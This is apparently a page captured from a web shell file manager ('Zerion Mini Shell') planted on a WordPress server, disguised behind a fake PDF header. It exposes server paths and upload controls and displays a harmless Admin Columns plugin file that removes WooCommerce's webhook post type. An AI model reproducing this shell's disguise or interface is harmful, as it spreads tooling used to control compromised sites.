%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/cwg/wp-content/plugins/codepress-admin-columns/classes/ThirdParty/
Upload File :
Create Path :
Current File : //var/www/cwg/wp-content/plugins/codepress-admin-columns/classes/ThirdParty/WooCommerce.php

<?php

namespace AC\ThirdParty;

use AC\Registrable;

class WooCommerce implements Registrable {

	public function register() {
		add_filter( 'ac/post_types', [ $this, 'remove_webhook' ] );
	}

	public function remove_webhook( $post_types ) {
		if ( class_exists( 'WooCommerce', false ) ) {
			if ( isset( $post_types['shop_webhook'] ) ) {
				unset( $post_types['shop_webhook'] );
			}
		}

		return $post_types;
	}

}

Zerion Mini Shell 1.0